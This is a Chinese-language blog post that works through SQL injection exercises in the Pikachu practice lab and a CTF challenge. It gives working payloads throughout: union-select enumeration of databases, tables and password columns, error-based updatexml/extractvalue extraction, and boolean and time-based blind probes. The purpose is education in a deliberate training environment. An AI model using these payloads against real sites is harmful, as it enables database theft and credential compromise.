pikachu-Sql Inject(SQL注入)

  • 概述

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。 一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。 在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞: 1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入; 2.使用参数化(Parameterized Query 或 Parameterized Statement); 3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

  • 一般步骤

第一步:注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sq| inject测试语句进行注入点发现
第二步:信息获取
通过注入点取期望得到的数据。
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等。
2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马
  • 常见注入点类型

数字型
user_ id= $id
字符型
user_id= '$id' 
搜索型
text LIKE '%{$_ GET['search']}%'"
  • 数字型注入

随便输入一个字符,页面返回name和email。应该是在后台数据库做出查询
SQL语句可以看作
select 字段1,字段2 from 表名 where id = 1

 

输入1’时报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
其中三个单引号有一个是我们输入的。后端接收应该是$id=$_POST['id']构造payload:1 or 1=1得出所有信息

  

  • 字符型

随便输入一些字母数字发现请求在url中
http://127.0.0.1//pikachu/vul/sqli/sqli_str.php?name=dw&submit=%E6%9F%A5%E8%AF%A2
输入f'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''f''' at line 1
其中f'是我们输入的,多了倒数第二个一个单引号所以报错
查询语句select 字段1,字段2 from 表名 where username = '111'
构造payload:1' or 1=1-- -得到信息。
-- -是注释掉后面的单引号

  

 

  •  搜索型

输入k发现请求在url中
输入k显示字符中有k的所以用户
输入k'报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
查询语句select from 表名 where username like ' %k% ';
构造payload:1%' or 1=1-- -得出信息

  

 

  •  xxs型、

输入s发现请求在url中
输入s'报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''s'')' at line 1
其中s'是输入的判断出闭合为')
构造payload:1')or 1=1-- -得到信息

  

  • 联合查询

这是我之前的一道题的例子
http://6c995b11-dddd-4a27-b52f-5f735cef5b0f.node4.buuoj.cn:81/check.php?username=123&password=123
1、求闭合
/check.php?username=123&password=123
/check.php?username=123-- -&password=123
/check.php?username=123 and 1=1-- -&password=123
/check.php?username=123' and 1=1-- -&password=123
/check.php?username=123' or 1=1-- -&password=123
/check.php?username=admin' and 1=2-- -&password=123
/check.php?username=admin' and 1=1-- -&password=123
根据报错找出闭合
2、求列数
/check.php?username=admin' and 1=1 order by 1-- -&password=123
/check.php?username=admin' and 1=1 order by 1,2-- -&password=123
/check.php?username=admin' and 1=1 order by 1,2,3-- -&password=123
/check.php?username=admin' and 1=1 order by 1,2,3,4-- -&password=123
3、求显示位
?username=admin' and 1=1 union select 1,2,3-- -&password=123
?username=admin' and 1=2 union select 1,2,3-- -&password=123
4、求数据库
?username=admin' and 1=2 union select 1,2,database()-- -&password=123

5、求表
?username=admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -&password=123
geekuser,l0ve1ysq1
6、求列
?username=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()-- -&password=123
?username=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'-- -&password=123
?username=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'-- -&password=123
id,username,password

7、求字段
?username=admin' and 1=2 union select 1,2,group_concat(id,0x23,username,0x23,password) from geekuser-- -&password=123
?username=admin' and 1=2 union select 1,2,group_concat(id,0x23,username,0x23,password) from l0ve1ysq1-- -&password=123
?username=admin' and 1=2 union select 1,2,group_concat(id,0x23,username,0x23,password) from l0ve1ysq1 where id=16-- -&password=123
附:
Select version(); //取的数据库版本
Select database(); //取得当前的数据库
Select user(); //取得当前登录的用户
order by X //对查询的结果进行排序,按照第X列进行排序,默认数字0-9 ,字母a-z

nformation_ schema
在mysq|中,自带的information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
SCHEMATA表:提供了当前mysq|实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
  •  insert/update型

 输入账号1'密码sx出现报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sx'),'','','','')' at line 1
得出闭合信息为')推测出SQL语句
insert into member(username,pw,sex,phonenum,email,address)
构造payload:1' or updatexml(1,concat(0x7e,database()),0) or '--
update与insert一样,登录进去之后构造payload:

  

详细步骤:
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) 如果将这个参数改为非XPath格式自然会报错
第三个参数:new_value,String格式,替换查找到的符合条件的数据。即更新后的内容
第一个和第三个参数可以随便输入
查看版本信息:1' or updatexml(1,concat(0x7e,version()),0) or '-- 
查看表信息:1' or updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema='pikachu')),0) or '-- 
但是回显数据超过一行无法显示,这时候用limit函数
1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'-- 
更改limit参数就可以枚举出所有表信息limit 0,1  12...
查看列信息:类比表1' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or'-- 
得出所有列
查看账号密码:1' or updatexml(1,concat(0x7e,(select password from users limit 1,1)),0) or'-- 
但是updatexml函数最多输出32个字节。这个时候md5解密是解不出来的,因为~的存在占据一位,密文只有31位,所以用substring函数一个是要截取的内容,一个是开始的位数substring(xx,xx)
1' or updatexml(1,concat(0x7e,substring((select password from users limit 0,1), 32)),0) or'-- 
最后解密出密码
ExtractValue(xm| _document, xpath. string)
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。和上述一样可以利用
  • delete型

在初步输入1' ")(&$时发现留言框对敏感字符并不敏感,然后对删除操作进行抓包
GET /pikachu/vul/sqli/sqli_del.php?id=1' HTTP/1.1在url中修改id出现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
构造payload:1 or updatexml(1,concat(0x7e,database()),0)

 

 

  • http header型

登录成功后显示自己的信息已经被记录
对header抓包,更改User-Agent、Accept为1‘均出现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '14608')' at line 1
构造payload:1'or updatexml(1,concat(0x7e,database()),0) or '--
得到数据库名

  

  • 基于boolian、time的盲注

输入kobe页面显示uir和email
输入kobe'显示用户名不存在
输入kobe' and '1'='1成功显示
输入kobe' and '1'='2显示用户不存在
可以判断存在漏洞
但是用前文提到的
updatexml(xml_doument,XPath_string,new_value)和
ExtractValue(xm| _document, xpath. string)都没有作用
于是我们尝试payload:1’and ascii(substr(database(),1,1))>113不存在后将113改为112
发现可以,112对应ascii为P所以数据库第一个字母为P
时间payload:1'and if((substr(database(),1,1))='p',sleep(5),null)
基于boolean的窗注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了!
这两种盲注推荐写脚本或者sqlmap跑,手注工作量比较大,如果说对方数据库较大,字段较多,手注==直接原地去世。

 

 

  

  

  

posted @ 2023-03-19 17:12  Bin_Go  阅读(52)  评论(0编辑  收藏  举报